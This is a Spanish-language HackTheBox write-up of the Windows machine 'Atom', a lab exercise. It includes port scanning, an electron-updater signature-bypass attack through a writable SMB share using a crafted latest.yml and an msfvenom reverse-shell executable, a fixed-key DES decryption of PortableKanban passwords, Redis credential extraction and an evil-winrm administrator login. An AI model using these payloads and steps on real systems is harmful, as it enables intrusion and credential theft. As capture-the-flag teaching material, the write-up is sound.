the_open_door
café
ESEN

Atom

HackTheBoxMediaWindows10.10.10.237

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#electron#electron-updater#signature-bypass#smb#exe-analysis#asar#portablekanban#redis#credential-reuse#evil-winrm
TL;DR. Atom sirve una app Electron (Heed) descargable. Analizando el .exe (7z → app-64.7z → .asar) se ve que usa electron-updater y un app-update.yml que apunta a updates.atom.htb. Un share SMB (Software_Updates, accesible como guest) acepta subir un latest.yml: abusando del bypass de validación de firma de electron-updater (un ' en el nombre del binario rompe Get-AuthenticodeSignature y el updater hace fail-open) se logra RCE como jason. En su perfil, un PortableKanban.cfg guarda una contraseña cifrada que se descifra (kidvscat_yes_kidvscat), válida para autenticar en Redis. Una clave de Redis guarda la contraseña cifrada del Administrator, que tras descifrar (kidvscat_admin_@123) abre WinRM como administrador.

Reconocimiento

Ping

ping -c 1 10.10.10.237

ping a 10.10.10.237: ttl=127 apunta a Windows

PING 10.10.10.237 (10.10.10.237) 56(84) bytes of data.
64 bytes from 10.10.10.237: icmp_seq=1 ttl=127 time=101 ms

TTL 127 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 127 = 128−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.

Escaneo de puertos

El barrido UDP de los cien puertos más comunes se despacha en dos segundos y deja la tabla vacía:

nmap -sU --min-rate 5000 -Pn -n -vvv --open --top-ports 100 10.10.10.237 | grep -v 'no-response'

el escaneo UDP no devuelve ningún puerto

Initiating UDP Scan at 13:13
Scanning 10.10.10.237 [100 ports]
Completed UDP Scan at 13:13, 2.26s elapsed (100 total ports)
Nmap scan report for 10.10.10.237
Host is up, received user-set.
PORT      STATE      SERVICE     REASON

Nmap done: 1 IP address (1 host up) scanned in 2.33 seconds

Sin nada por UDP, pasamos al TCP completo. El barrido lo lanza una función del .zshrc, y merece la pena enseñarla porque el nombre no dice nada de los flags que hay detrás:

jmap () {
        echo -e "\n[+] Introduce una IP\n"
        read ip
        echo
        sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open $ip -oG scan
}

Es la primera de las dos fases del escaneo de puertos: barrer los 65535 puertos TCP (-p-) con un SYN scan (-sS), sin DNS (-n) ni ping previo (-Pn, imprescindible contra Windows), guardando en formato grepeable (-oG scan).

jmap        # 10.10.10.237

el escaneo -p- descubre siete puertos abiertos, todos con ttl 127

Not shown: 65528 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE     REASON
80/tcp   open  http        syn-ack ttl 127
135/tcp  open  msrpc       syn-ack ttl 127
443/tcp  open  https       syn-ack ttl 127
445/tcp  open  microsoft-ds syn-ack ttl 127
5985/tcp open  wsman       syn-ack ttl 127
6379/tcp open  redis       syn-ack ttl 127
7680/tcp open  pando-pub   syn-ack ttl 127

Los 65 528 puertos restantes salen filtered, no closed: no es que no haya servicio, es que hay un cortafuegos descartando los paquetes sin responder. Y el ttl 127 de cada línea reconfirma Windows sobre TCP.

De los siete abiertos, dos llaman la atención en un Windows: el 6379 (Redis), que es una base de datos que normalmente vive en Linux, y el 5985 (WinRM), que es una vía de acceso directa si conseguimos credenciales. Los apuntamos y seguimos.

extractPorts scan

extractPorts imprime la IP y los siete puertos abiertos

Extracting information ...
IP Address: 10.10.10.237
Open ports: 80,135,443,445,5985,6379,7680

Ports copied to clipboard

La segunda fase identifica servicios y versiones:

nmap -p80,135,443,445,5985,6379,7680 -sCV 10.10.10.237

nmap -sCV: HTTP/HTTPS (Heed Solutions), SMB Win10, WinRM y Redis

80/tcp   open  http         Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
|_http-title: Heed Solutions
135/tcp  open  msrpc        Microsoft Windows RPC
443/tcp  open  ssl/http     Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
445/tcp  open  microsoft-ds Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
5985/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
6379/tcp open  redis        Redis key-value store

Un Windows 10 Pro en grupo de trabajo (no hay dominio) con Apache y PHP, que es una combinación poco habitual y sugiere que la web es un montaje propio, no un IIS corporativo.

HTTP - TCP 80: tecnologías

whatweb http://10.10.10.237

whatweb revela el dominio atom.htb dentro de una dirección de correo

http://10.10.10.237 [200 OK] Apache[2.4.46], Bootstrap, Country[RESERVED][ZZ],
Email[MrR3boot@atom.htb], HTML5, HTTPServer[Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27],
IP[10.10.10.237], OpenSSL[1.1.1j], PHP[7.3.27], Script, Title[Heed Solutions]

Aquí está el hallazgo que hace avanzar todo: Email[MrR3boot@atom.htb]. El dominio no aparece en una redirección ni en un certificado, sino en una dirección de correo dentro de la página. Es un recordatorio de que whatweb no solo detecta tecnologías, también extrae correos, y un correo es un nombre de dominio.

Wappalyzer confirma Apache 2.4.46, PHP 7.3.27, Bootstrap 5.0.0 y Windows Server

Web servers:            Apache HTTP Server 2.4.46
Programming languages:  PHP 7.3.27
Operating systems:      Windows Server
Web server extensions:  OpenSSL 1.1.1j
UI frameworks:          Bootstrap 5.0.0

Que corra PHP es un dato operativo: significa que los ficheros .php son candidatos válidos en el fuzzing posterior, cosa que no ocurriría con un sitio estático.

nano /etc/hosts
cat /etc/hosts

/etc/hosts con 10.10.10.237 atom.htb añadido

9  10.10.10.237    atom.htb

la web presenta Heed v1.0.0, una aplicación de notas de escritorio

Heed | A Leading Software Organization
We make software to help people in their daily routines. We bring the best to the market.

La web es la de una empresa que vende Heed, una aplicación de notas de escritorio. Antes de fuzzear, el código fuente:

el código fuente enlaza el instalador en /releases/heed_setup_v1.0.0.zip

<h1 class="mb-4" style="color:white;">Heed | A Leading Software Organization</h1>
...
<a class="btn btn-outline-dark font-weight-bold" href="#" role="button">Download for Mac</a>
<p class="card-text text-muted small">Coming soon</p>
...
<a class="btn btn-primary mb-2 font-weight-bold" href="/releases/heed_setup_v1.0.0.zip" role="button">
...
<a class="btn btn-outline-dark mb-2 font-weight-bold" href="#" role="button">Download for Linux</a>
<p class="card-text text-muted small">Coming soon</p>

De las tres tarjetas de descarga, solo la de Windows tiene enlace real: /releases/heed_setup_v1.0.0.zip. Las de Mac y Linux apuntan a # con un "Coming soon". Es decir, el código fuente ya nos entrega la ruta antes de lanzar ningún fuzzer; el escaneo posterior solo va a confirmarla.

Descubrimiento de rutas

dirsearch -u http://10.10.10.237/ --exclude-status=403,404,500,503

dirsearch descubre /images y /releases

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Target: http://10.10.10.237/

[13:29:02] Starting:
[13:29:44] 301 -  338B - /images   ->  http://10.10.10.237/images/
[13:29:44] 200 -  984B - /images/
[13:30:02] 301 -  340B - /releases ->  http://10.10.10.237/releases/
Task Completed

Solo dos rutas en 11 460 palabras, y una de ellas es la que ya habíamos leído en el HTML. El fuzzing de rutas aquí no descubre nada nuevo, pero sí confirma que no hay nada más escondido, que es información igual de útil: el vector no está en una ruta oculta.

el índice de /releases muestra heed_setup_v1.0.0.zip de 44M

Index of /releases

Name                    Last modified      Size
Parent Directory                             -
heed_setup_v1.0.0.zip   2021-04-09 05:00   44M

Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27 Server at atom.htb Port 80

El directorio tiene listado activado, así que confirmamos que ese .zip de 44 MB es el único fichero. Descargarlo nos da exactamente el mismo software que corre la empresa, que es el mejor punto de partida posible: podemos analizarlo con calma en local, sin tocar la máquina.

Análisis del binario

El instalador

cp /home/krmena/Downloads/heed_setup_v1.0.0.zip .
unzip heed_setup_v1.0.0.zip
ls

el zip contiene un único ejecutable: heedv1 Setup 1.0.0.exe

Archive:  heed_setup_v1.0.0.zip
  inflating: heedv1 Setup 1.0.0.exe

# ls
heed_setup_v1.0.0.zip  'heedv1 Setup 1.0.0.exe'

Antes de destriparlo conviene verlo funcionar, porque el comportamiento en tiempo de ejecución señala dónde mirar. Lo servimos a una máquina Windows de laboratorio:

python3 -m http.server 80

el servidor HTTP local sirviendo el instalador

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

la máquina Windows descarga heedv1 Setup 1.0.0.exe, 44,4 MB

Directory listing for /
  heedv1 Setup 1.0.0.exe

Descargas: heedv1 Setup 1.0.0.exe   44,4 MB - Hecho

la aplicación Heed v1.0.0 en marcha, con el mensaje Error in auto-updater abajo a la derecha

Heed v1.0.0
Notes:
  • holaa
[Creating Note]  Enter Note: holaa   [Create Note]

Error in auto-updater.
Powered by HTB

Confirmado que es la misma aplicación de la web: crea y borra notas, poco más. Pero abajo a la derecha aparece Error in auto-updater., y ese mensaje es el hilo del que tirar: significa que la aplicación intenta buscar actualizaciones por red y falla porque en nuestro laboratorio no encuentra el servidor. Si buscarlas es una operación de red, es una superficie de ataque.

Desempaquetar el .exe

Muchos ejecutables son en realidad contenedores. 7z reconoce esas estructuras y las lista sin ejecutar el programa, que es justo lo que queremos con un binario ajeno:

7z l "heedv1 Setup 1.0.0.exe" | tail -n 30

7z lista el contenido del instalador, incluido app-64.7z

Date       Time     Attr   Size      Compressed  Name
---------- -------- ------ --------- ----------- ------------------------
                    .....  6921                  $PLUGINSDIR/System.dll
                    .....  42421                 $PLUGINSDIR/StdUtils.dll
2021-04-09 11:37:24 .....  46103281  46103281    $PLUGINSDIR/app-64.7z
                    .....            113510       Uninstall heedv1.exe
------------------------------------------------------------------------
                           46103281  46493587    8 files

Un fichero se lleva 46 MB de los 46: app-64.7z. Ahí está la aplicación entera. Para llegar a él hay que extraer primero el instalador:

7z x "heedv1 Setup 1.0.0.exe" &>/dev/null
ls

la extracción deja el directorio $PLUGINSDIR y el desinstalador

'$PLUGINSDIR'  'Uninstall heedv1.exe'  'heedv1 Setup 1.0.0.exe'
cd '$PLUGINSDIR'
7z x app-64.7z
ls

7z extrae 267 ficheros de app-64.7z, entre ellos el directorio resources

7-Zip 25.01 (x64) : Copyright (c) 1999-2025 Igor Pavlov : 2025-08-03

Scanning the drive for archives:
1 file, 46103281 bytes (44 MiB)

Extracting archive: app-64.7z
--
Path = app-64.7z
Type = 7z
Physical Size = 46103281
Method = LZMA2:20 LZMA:20 BCJ2

Everything is Ok

Folders: 71
Files: 267
Size:       167432973
Compressed: 46103281

# ls
LICENSE.electron.txt  System.dll    VkLayer_parameter_validation.dll  app-64.7z    ffmpeg.dll  libGLESv2.dll  nsis7z.dll  swiftshader
LICENSES.chromium.html  VkICD_mock_icd.dll  VkLayer_threading.dll     chrome_100_percent.pak  heedv1.exe  locales  resources.pak  v8_context_snapshot.bin
SpiderBanner.dll  VkLayer_core_validation.dll  VkLayer_unique_objects.dll  chrome_200_percent.pak  icudtl.dat  natives_blob.bin  resources
StdUtils.dll  VkLayer_object_tracker.dll  WinShell.dll  d3dcompiler_47.dll  libEGL.dll  nsProcess.dll  snapshot_blob.bin

Los nombres del listado ya delatan la tecnología antes de abrir nada: LICENSES.chromium.html, v8_context_snapshot.bin, natives_blob.bin y ffmpeg.dll son piezas de Chromium. Una aplicación de escritorio que empaqueta un navegador entero es, casi seguro, Electron.

El código de la aplicación

ls resources
asar l resources/app.asar

el directorio resources contiene app.asar, electron.asar y app-update.yml

# ls resources
app-update.yml  app.asar  electron.asar  elevate.exe  inspector

# asar l resources/app.asar
/createNote.html
/main.js
/package.json
/version.html
/icons
/icons/ico.png
/node_modules
/node_modules/argparse
/node_modules/argparse/LICENSE

Los ficheros .asar (Atom Shell Archive) confirman Electron, y uno de ellos se llama literalmente electron.asar. asar l lista el contenido sin extraerlo, y ahí está main.js, el punto de entrada del proceso principal:

main.js confirma Electron: BrowserWindow, nodeIntegration y el menú de la aplicación

function createDefaultWindow() {
  win = new BrowserWindow({
    webPreferences: {
      nodeIntegration: true,
    },
    icon: path.join(__dirname, 'icons/ico.png')
  });
  win.loadURL(`file://${__dirname}/version.html#v${app.getVersion()}`);
  win.on('closed', function(){
    app.quit();
  });
  return win;
}

Bajando en el fichero aparecen las funciones de actualización, y con ellas la explicación del mensaje que habíamos visto en la ventana:

main.js: los manejadores de autoUpdater, incluido el que imprime Error in auto-updater

autoUpdater.on('checking-for-update', () => {
  sendStatusToWindow('Checking for update ... ');
})
autoUpdater.on('update-available', (ev, info) => {
  sendStatusToWindow('Update available.');
})
autoUpdater.on('update-not-available', (ev, info) => {
  sendStatusToWindow('Update not available.');
})
autoUpdater.on('error', (ev, err) => {
  sendStatusToWindow('Error in auto-updater.');
})
autoUpdater.on('download-progress', (ev, progressObj) => {
  sendStatusToWindow('Download progress ... ');
})
autoUpdater.on('update-downloaded', (ev, info) => {
  sendStatusToWindow('Update downloaded; Installing the update ... ');
})

Círculo cerrado: el Error in auto-updater. que veíamos en la esquina sale de autoUpdater.on('error', ...). La aplicación usa electron-updater, y en nuestro laboratorio fallaba porque no había servidor de actualizaciones al que preguntar. ¿Cuál es ese servidor? Lo dice el fichero de configuración que vimos junto a los .asar:

cat resources/app-update.yml

app-update.yml apunta a updates.atom.htb

provider: generic
url: 'http://updates.atom.htb'
publisherName:
  - HackTheBox

Tres líneas y las tres importan. provider: generic significa que las actualizaciones no vienen de una tienda ni de GitHub, sino de un servidor HTTP corriente. url revela un subdominio nuevo, updates.atom.htb. Y publisherName es el nombre con el que se comparará el certificado del binario de actualización, es decir, el mecanismo de seguridad que habrá que sortear.

nano /etc/hosts
cat /etc/hosts

/etc/hosts con atom.htb y updates.atom.htb

9  10.10.10.237    atom.htb    updates.atom.htb

el subdominio updates.atom.htb sirve exactamente la misma web que atom.htb

http://updates.atom.htb
Heed Solutions
Heed | A Leading Software Organization

El subdominio devuelve la misma web, así que no hay un vhost distinto que enumerar. No es un callejón sin salida, es un dato: el nombre existe y resuelve, pero el canal de actualización tiene que llegar por otra vía. Toca mirar el resto de servicios.

SMB - TCP 445: el canal de actualización

netexec smb 10.10.10.237 -u 'guest' -p '' --shares
smbclient //10.10.10.237/Software_Updates

netexec lista los shares como guest: Software_Updates con READ,WRITE; dentro hay client1/2/3 y un PDF

Share            Permissions   Remark
-----            -----------   ------
ADMIN$                         Remote Admin
C$                             Default share
IPC$             READ          Remote IPC
Software_Updates READ,WRITE

La sesión nula no vale, pero guest con contraseña vacía sí, y ahí está la sorpresa: Software_Updates con READ,WRITE. Un recurso escribible por un usuario invitado ya sería grave; que además se llame igual que el mecanismo de actualización que acabamos de encontrar en el código es demasiada coincidencia.

Dentro hay tres carpetas client1, client2, client3 y un PDF, UAT_Testing_Procedures.pdf, que explica el procedimiento interno:

el PDF UAT_Testing_Procedures describe cómo el equipo de QA instala las actualizaciones subidas a las carpetas client

Features ?
Very limited at the moment. There's no server interaction when creating notes. So
currently it just acts as a one-tier thick client application. ...

What about QA ?
We follow the below process before releasing our products.
  1. Build and install the application to make sure it works as we expect it to be.
  2. Make sure that the update server running is in a private hardened instance. To
     initiate the QA process, just place the updates in one of the "client" folders, and
     the appropriate QA team will test it to ensure it finds an update and installs it
     correctly.
  3. Follow the checklist to see if all given features are working as expected by the developer.

El punto 2 lo dice todo: basta con dejar la actualización en una de las carpetas client para que el equipo de QA la instale. Eso es un simulador de usuario que ejecutará lo que subamos. Ya tenemos el mecanismo (electron-updater), el canal (SMB escribible) y el disparador (QA). Falta la vulnerabilidad.

Shell como jason

Bypass de firma de electron-updater

La referencia es el análisis de Doyensec, Electron-updater update signature bypass:

el artículo de Doyensec explica el diseño fail-open de la verificación de firma

A Fail Open Design

The signature verification check performed by electron-builder is simply based on a string
comparison between the installed binary's publisherName and the certificate's Common Name
attribute of the update binary. During a software update, the application will request a file
named latest.yml from the update server, which contains the definition of the new release -
including the binary filename and hashes.

execFile("powershell.exe", ["-NoProfile", "-NonInteractive", "-InputFormat", "None",
  "-Command", `Get-AuthenticodeSignature '${tempUpdateFile}' | ConvertTo-Json -Compress`], {

la segunda parte del artículo muestra el catch que ignora el error de verificación

logger.warn(`Cannot execute Get-AuthenticodeSignature: ${error}. Ignoring signature
validation due to unknown error.`)
resolve(null)
return

which translates to the following PowerShell command:

powershell.exe -NoProfile -NonInteractive -InputFormat None -Command "Get-AuthenticodeSignature
'C:\Users\<USER>\AppData\Roaming\<vulnerable app name>\__update__\<update name>.exe' |
ConvertTo-Json -Compress"

Since the ${tempUpdateFile} variable is provided unescaped to the execFile utility, an attacker
could bypass the entire signature verification by triggering a parse error in the script. This
can be easily achieved by using a filename containing a single quote and then recalculating the
file hash to match the attacker-provided binary (using shasum -a 512 maliciousupdate.exe |
cut -d " " -f1 | xxd -r -p | base64).

El fallo tiene tres piezas encadenadas. Primero, la validación se delega en PowerShell construyendo un comando por concatenación de cadenas, con el nombre del fichero entre comillas simples. Segundo, ese nombre se inserta sin escapar, así que una comilla simple dentro de él rompe la sintaxis: Get-AuthenticodeSignature 'r'everse.exe' no es un comando válido. Y tercero, y esto es lo grave, cuando PowerShell devuelve error el código lo registra con un logger.warn que dice literalmente "Ignoring signature validation due to unknown error" y sigue adelante. Es el patrón fail-open: ante un fallo de verificación, en vez de abortar, acepta.

Antes de montar el ataque completo hacemos una prueba de concepto mínima: un latest.yml que apunte a nuestra máquina, para confirmar que QA lo lee y que el objetivo nos hace la petición.

nano latest.yml
cat latest.yml
smbclient //10.10.10.237/Software_Updates -N
cd client1
put latest.yml
python3 -m http.server 80

la PoC: se sube un latest.yml apuntando a nuestro servidor y la víctima pide /test.blockmap y /test

File: latest.yml
1  version: 1.2.3
2  files:
3    - url: http://10.10.16.6/test
4      sha512: 1234

# smbclient //10.10.10.237/Software_Updates -N
smb: \> cd client1
smb: \client1\> put latest.yml
putting file latest.yml as \client1\latest.yml (0.1 kB/s) (average 0.1 kB/s)
smb: \client1\> exit

# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.237 - - [24/Nov/2025 02:36:41] code 404, message File not found
10.10.10.237 - - [24/Nov/2025 02:36:41] "GET /test.blockmap HTTP/1.1" 404 -
10.10.10.237 - - [24/Nov/2025 02:36:42] code 404, message File not found
10.10.10.237 - - [24/Nov/2025 02:36:42] "GET /test HTTP/1.1" 404 -

Funciona. La máquina lee nuestro latest.yml y sale a buscar el fichero a nuestro servidor. Las dos peticiones tienen su explicación: electron-updater intenta primero /test.blockmap, un fichero de descarga diferencial que le permitiría bajar solo los bloques cambiados, y al no encontrarlo (404) recurre a descargar el binario entero. Que el sha512: 1234 sea basura no importa todavía, porque ni siquiera llega a validar nada: no hay fichero que validar.

Ahora el ataque real. Generamos la reverse shell con el ' en el nombre y calculamos su SHA-512, porque el hash sí se comprueba antes de la firma:

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.6 LPORT=443 -f exe -o "r'everse.exe"
sha512sum "r'everse.exe"

msfvenom crea r'everse.exe y su hash SHA-512

Payload size: 324 bytes
Final size of exe file: 7168 bytes
Saved as: r'everse.exe
08ecd9329967a5f0a4db1a249400459096ef18bd4607e078e8a43c2444a276a3388d63e901600db566ec814111b28178008344e7e945b7b9c150b457bbe46696  r'everse.exe

Ese hash hay que meterlo en el latest.yml en base64, no en hexadecimal, que es el formato que espera electron-updater (de ahí el xxd -r -p | base64 del artículo de Doyensec).

Preparamos el listener antes de subir nada, porque en cuanto QA pase, la conexión llega sin avisar:

penelope
listeners add -p 443
smbclient //10.10.10.237/Software_Updates -N
cd client1
put latest.yml
python3 -m http.server 80

Penelope recibe la reverse shell desde ATOM como atom\jason

# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.237 - - [24/Nov/2025 02:58:18] code 404, message File not found
10.10.10.237 - - [24/Nov/2025 02:58:18] "GET /r'everse.exe.blockmap HTTP/1.1" 404 -
10.10.10.237 - - [24/Nov/2025 02:58:19] "GET /r%27everse.exe HTTP/1.1" 200 -

(Penelope)> listeners add -p 443
[+] Listening for reverse shells on 0.0.0.0:443 → 127.0.0.1 • 192.168.1.80 • 172.17.0.1 • 172.18.0.1 • 10.10.16.6
[+] Got reverse shell from ATOM~10.10.10.237-Microsoft_Windows_10_Pro-x64-based_PC 😍 Assigned SessionID <1>
(Penelope)> sessions 1
[+] Added readline support ...
[+] Interacting with session [1], Shell Type: Readline, Menu key: Ctrl-D

C:\WINDOWS\system32>whoami
whoami
atom\jason

En el log del servidor se ve la secuencia completa: el .blockmap da 404 (igual que en la PoC) y acto seguido GET /r%27everse.exe devuelve 200, con la comilla ya codificada en la URL. Ese 200 es el binario saliendo hacia la víctima; el resto lo hace el propio updater, que verifica el hash (correcto), intenta verificar la firma (error de sintaxis) y lo ejecuta igualmente.

Shell como atom\jason.

type jason\Desktop\user.txt

type user.txt como jason

C:\Users>type jason\Desktop\user.txt
44f37b5482ee03ec20c7bd0db5b9e3f6

Escalada de privilegios

PortableKanban: una contraseña cifrada

Lo primero en un perfil de usuario es mirar qué hay instalado o descargado, porque el software de terceros suele guardar credenciales:

dir C:\Users\jason
dir jason\Downloads

el perfil de jason y su carpeta Downloads, que contiene PortableKanban

 Directory of C:\Users\jason
04/13/2021  01:35 AM    <DIR>          .config
04/01/2021  02:57 AM    <DIR>          3D Objects
...
04/02/2021  07:00 AM    <DIR>          Downloads
...
              16 Dir(s)   5,620,781,056 bytes free

C:\Users>dir jason\Downloads
 Directory of C:\Users\jason\Downloads
03/31/2021  01:36 AM    <DIR>          node_modules
04/02/2021  07:21 PM    <DIR>          PortableKanban
               4 Dir(s)   5,620,781,056 bytes free

PortableKanban, un gestor de tareas portable. El node_modules de al lado encaja con el desarrollador de la app Electron, pero lo interesante es el otro:

dir jason\Downloads\PortableKanban
type jason\Downloads\PortableKanban\PortableKanban.cfg

el directorio de PortableKanban y su fichero .cfg, que contiene DbEncPassword y apunta a un RedisServer

 Directory of C:\Users\jason\Downloads\PortableKanban
04/02/2021  06:44 AM    <DIR>          Files
04/02/2021  06:17 AM    <DIR>          Plugins
04/02/2021  07:22 PM             5,920 PortableKanban.cfg
01/04/2018  08:12 PM         1,878,440 PortableKanban.exe
04/02/2021  06:21 AM               172 PortableKanban.pk3.lock
09/06/2017  11:02 AM           292,352 ServiceStack.Redis.dll
              19 File(s)      5,656,416 bytes

C:\Users>type jason\Downloads\PortableKanban\PortableKanban.cfg
{"RoamingSettings":{"DataSource":"RedisServer","DbServer":"localhost","DbPort":6379,
"DbEncPassword":"Odh7N3L9aVSeHQmgK/nj7RQL8MEYCUMb","DbServer2":"","DbPort2":6379,
"DbEncPassword2":"","DbIndex":0,"DbSsl":false,"DbTimeout":10,"FlushChanges":true, ...

Este fichero une los dos cabos sueltos de la máquina. Tiene una contraseña cifrada (DbEncPassword) y, sobre todo, dice que "DataSource":"RedisServer" en localhost:6379. Es decir, la contraseña que guarda no es de la aplicación: es la del Redis que llevamos viendo abierto desde el primer escaneo, y que hasta ahora no sabíamos cómo tocar. El ServiceStack.Redis.dll del listado lo confirma.

Descifrar la contraseña

searchsploit 'PortableKanban'
searchsploit -m windows/local/49409.py

searchsploit encuentra el exploit de recuperación de contraseñas de PortableKanban y lo copia al directorio

 Exploit Title                                                        |  Path
----------------------------------------------------------------------+----------------------
PortableKanban 4.3.6578.38136 - Encrypted Password Retrieval          | windows/local/49409.py
Shellcodes: No Results
Papers: No Results

# searchsploit -m windows/local/49409.py
  Exploit: PortableKanban 4.3.6578.38136 - Encrypted Password Retrieval
      URL: https://www.exploit-db.com/exploits/49409
     Path: /usr/share/exploitdb/exploits/windows/local/49409.py
    Codes: N/A
 Verified: False
File Type: Python script, ASCII text executable
Copied to: /home/krmena/machines/atom/exploits/49409.py

Antes de ejecutar código ajeno conviene leerlo, y en este caso además explica el mecanismo:

cat -l py 49409.py

el código del exploit 49409.py: base64 más DES con clave e IV fijos

import json
import base64
from des import *  #python3 -m pip install des
import sys

try:
    path = sys.argv[1]
except:
    exit("Supply path to PortableKanban.pk3 as argv1")

def decode(hash):
    hash = base64.b64decode(hash.encode('utf-8'))
    key = DesKey(b"7ly6UznJ")
    return key.decrypt(hash,initial=b"XuVUm5fR",padding=True).decode('utf-8')

with open(path) as f:
    try:
        data = json.load(f)
    except:  #Start of file sometimes contains junk - this automatically seeks valid JSON
        ...

for user in data["Users"]:
    print("{}:{}".format(user["Name"],decode(user["EncryptedPassword"])))

Aquí no hay ningún truco criptográfico: PortableKanban no cifra, ofusca. Aplica DES con una clave (7ly6UznJ) y un IV (XuVUm5fR) fijos y embebidos en el propio programa, así que cualquiera que tenga el binario tiene la clave. El resultado se guarda en base64, que ni siquiera es cifrado.

El script espera un fichero PortableKanban.pk3, pero en el directorio de la víctima ese fichero aparecía como PortableKanban.pk3.lock: la aplicación está en marcha y lo tiene bloqueado. No importa, porque el hash ya lo tenemos del .cfg, así que basta con recortar el script para que descifre esa cadena directamente:

python3 -m pip install des --break-system-packages
cat 49409.py
python3 49409.py

el exploit recortado descifra el hash del .cfg y devuelve kidvscat_yes_kidvscat

import json
import base64
from des import *  #python3 -m pip install des
import sys

hash = "Odh7N3L9aVSeHQmgK/nj7RQL8MEYCUMb"
hash = base64.b64decode(hash.encode('utf-8'))
key = DesKey(b"7ly6UznJ")
print(key.decrypt(hash,initial=b"XuVUm5fR",padding=True).decode('utf-8'))
kidvscat_yes_kidvscat

kidvscat_yes_kidvscat. No hay ningún panel web donde probarla, pero el propio .cfg ya nos dijo para qué sirve.

Redis: la contraseña del Administrator

apt install redis

instalación del cliente de Redis en Kali

Installing:
  redis
Installing dependencies:
  liblzf1  redis-server  redis-tools
Summary:
  Upgrading: 0, Installing: 4, Removing: 0, Not Upgrading: 50
redis-cli -h 10.10.10.237 -a kidvscat_yes_kidvscat

autenticación en Redis con kidvscat_yes_kidvscat

Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe.
10.10.10.237:6379>

El prompt 10.10.10.237:6379> es la prueba de que la contraseña era efectivamente la de Redis. Como el servicio no es del día a día, conviene tener a mano la sintaxis:

la página de HackTricks sobre pentesting de Redis con los comandos KEYS, TYPE y GET

SELECT 1        [ ... Indicate the database ... ]
KEYS *          [ ... Get Keys ... ]
GET <KEY>       [ ... Get Key ... ]

In case you get the following error -WRONGTYPE Operation against a key holding the wrong kind
of value while running GET <KEY> it's because the key may be something else than a string or an
integer and requires a special operator to display it.

TYPE <KEY>      [ ... Type of the Key ... ]
LRANGE <KEY> 0 -1   [ ... Get list items ... ]
HGET <KEY> <FIELD>  [ ... Get hash item ... ]

El detalle que ahorra tiempo es el del WRONGTYPE: en Redis el tipo de cada clave determina el comando con el que se lee, así que lo correcto es preguntar el tipo antes de intentar leerla (enumeración de Redis):

KEYS *
TYPE pk:ids:User
TYPE pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0
GET pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0

las claves de Redis exponen el EncryptedPassword del usuario Administrator

10.10.10.237:6379> KEYS *
1) "pk:ids:User"
2) "pk:urn:metadataclass:ffffffff-ffff-ffff-ffff-ffffffffffff"
3) "pk:ids:MetaDataClass"
4) "pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0"

10.10.10.237:6379> TYPE pk:ids:User
set
10.10.10.237:6379> TYPE pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0
string

10.10.10.237:6379> GET pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0
"{\"Id\":\"e8e29158d70d44b1a1ba4949d52790a0\",\"Name\":\"Administrator\",\"Initials\":\"\",
\"Email\":\"\",\"EncryptedPassword\":\"Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi\",\"Role\":\"Admin\",
\"Inactive\":false,\"TimeStamp\":637530169606440253}"

El prefijo pk: de todas las claves es de PortableKanban: la aplicación usa este Redis como su base de datos, y guarda ahí los usuarios. Uno de ellos se llama Administrator con Role: Admin y su propio EncryptedPassword, cifrado con el mismo esquema DES de clave fija. Nótese que ambos hashes empiezan igual (Odh7N3L9aV...): DES cifra por bloques de 8 bytes, así que si los dos primeros ocho caracteres del texto claro coinciden (kidvscat), el primer bloque cifrado también.

Cambiamos el hash en el script y lo volvemos a lanzar:

nano 49409.py
cat 49409.py
python3 49409.py

el mismo exploit descifra el segundo hash y devuelve kidvscat_admin_@123

hash = "Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi"
hash = base64.b64decode(hash.encode('utf-8'))
key = DesKey(b"7ly6UznJ")
print(key.decrypt(hash,initial=b"XuVUm5fR",padding=True).decode('utf-8'))
kidvscat_admin_@123

WinRM como Administrator

Antes de conectar, validamos la credencial en los dos servicios donde puede servir:

netexec smb 10.10.10.237 -u 'Administrator' -p 'kidvscat_admin_@123' 2>/dev/null
netexec winrm 10.10.10.237 -u 'Administrator' -p 'kidvscat_admin_@123' 2>/dev/null
evil-winrm -i 10.10.10.237 -u Administrator -p kidvscat_admin_@123

netexec Pwn3d! y sesión evil-winrm como atom\administrator

SMB    10.10.10.237  445   ATOM  [+] ATOM\Administrator:kidvscat_admin_@123 (Pwn3d!)
WINRM  10.10.10.237  5985  ATOM  [+] ATOM\Administrator:kidvscat_admin_@123 (Pwn3d!)
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
atom\administrator

El (Pwn3d!) en WinRM es lo que garantiza que evil-winrm va a funcionar: la contraseña de una aplicación de gestión de tareas resultó ser también la del administrador local del sistema.

type ..\Desktop\root.txt

type root.txt como administrator

*Evil-WinRM* PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
0de854686d5bdb5bf65ded7de0a0bedc

Cadena de ataque

TTL 127 (Windows) ─▶ nmap: 80/445/5985/6379 ...
